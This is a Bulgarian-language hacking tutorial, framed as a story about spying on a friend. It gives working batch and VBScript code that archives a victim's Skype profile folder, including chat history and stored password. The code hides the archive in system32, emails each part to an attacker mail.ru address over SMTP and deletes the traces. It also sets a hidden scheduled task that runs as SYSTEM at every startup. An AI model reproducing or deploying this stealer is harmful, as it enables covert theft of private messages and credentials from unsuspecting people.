За празниците Петърчо нямал какво да прави а и имал повече свободно време за компа и решил да види какво прави "най добрия" му приятел а имено Иванчо, дълго мислил какво да прави и накрая решил да открадне хронологията на скайп. Тук ще се запитате защо ? веднага отговарям там се крият много тайни за живота на човека пред машината, там също така се крие и паролата на скайп, така той започнал да крой плана на проекта... какво трябва да направи, трябва да вземе цялата папка намираща се на
C:\Documents and Settings\USER\Application Data\Skype (%appdata%\skype)
и да я архивира а къкъв по добър архиватор от
rar.exe (за по лесно ако имате инсталиран WinRar просто си копнете от нейната папка) след което да се изпрати на имейла... плана го измислил оставал практиката. За начало той решил къде ще се намира направената от него "програма"
C:\WINDOWS\system32\syys %SystemRoot%\system32\syys
C:\WINDOWS\system32\syys\sy1 %SystemRoot%\system32\syys\sy1
C:\WINDOWS\system32\syys\sy1\sy2 %SystemRoot%\system32\syys\sy1\sy2
md "%SystemRoot%\system32\syys\sy1\sy2" <- създаваме папка
cd "%appdata%\skype" <- влизаме във директорйята на скайп
%SystemRoot%\system32\syys\sy1\rar a -v1024 -r -m5 "%SystemRoot%\system32\syys\sy1\sy2\skype.rar" <- тук се архивирва и се разделя на части
cd "%SystemRoot%\system32\syys\sy1" <- връщаме се при създадените папки
start lllll.vbs <- стартирваме скрипта за изпращане на имейл за който ще се спомене по надолу
Батчето е готово си казал той сега остава изпращането на архивите от %SystemRoot%\system32\syys\sy1\sy2 но как пак ли SMTPSend е не този път ще е различно ! (ха колко е лесно нали )
Ок той намерил решението но този скрипт изпраща само един файл на който трябва да знаете името и разширението а това не върши работа защото архива може да се раздели на много части (това е направено защото някой пощи приемат до 8мб. а хронологията може да е много по голяма а разделянето ни помага да си спестим главоболия ) трябва да се измисли нов скрипт който да изпраща съдържанието на директория... тук явно героя ми трябва да поиска помож от чичо си...
-----------------------------------------------------------------------------------------------------------
on error resume next
Set oFSO = CreateObject("Scripting.FileSystemObject")
sDirectoryPath = "C:\WINDOWS\system32\syys\sy1\sy2"
set oFolder = oFSO.GetFolder(sDirectoryPath)
set oFileCollection = oFolder.Files
For each oFile in oFileCollection
Set objEmail = CreateObject("CDO.Message")
objEmail.From = "ххххх@mail.ru"
objEmail.To = "пощата където ще се приема"
objEmail.Subject = "aaa"
objEmail.Textbody = "tttt"
objEmail.AddAttachment oFile.Path
objEmail.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
objEmail.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpserver") = _
"smtp.mail.ru"
objEmail.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
objEmail.Configuration.Fields.Update
objEmail.Send
Set objEmail = Nothing
Next
-----------------------------------------------------------------------------------------------------------
след изпращането трябва да се изтрие съдържанието от папката където е архива
-----------------------------------------------------------------------------------------------------------
Set onstart = CreateObject("Scripting.FileSystemObject")
Onstart.DeleteFolder("C:\WINDOWS\system32\syys\sy1\sy2")
Set OnStart = Nothing
-----------------------------------------------------------------------------------------------------------
И със това моя герой е готов (въпреки че скрипта за изпращане на имейл не е пълен....оставих малко и на вас) остава само да се направи така че да се изпраща имелйа през определено време или при стартирване на компа но и тук моя герой ще се изхитри. До сега той е използвал регистрите за стартирване но там вече много хора знаят но кой знае за schtasks
за това той написал следния скрипт от който ще започва всичко
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "schtasks /create /tn ""Enable"" /tr ""C:\WINDOWS\system32\syys\sy1\2.bat"" /sc onstart /sd 28/04/2008 /ru System",0
WSHShell.Run "C:\WINDOWS\system32\syys\sy1\2.bat",0
--------------------------------------------------------------------------------------------------------------------------------------------
КРАЙ !!! надявам се че и този път съм бил полезен.
част 3
част 2
част 1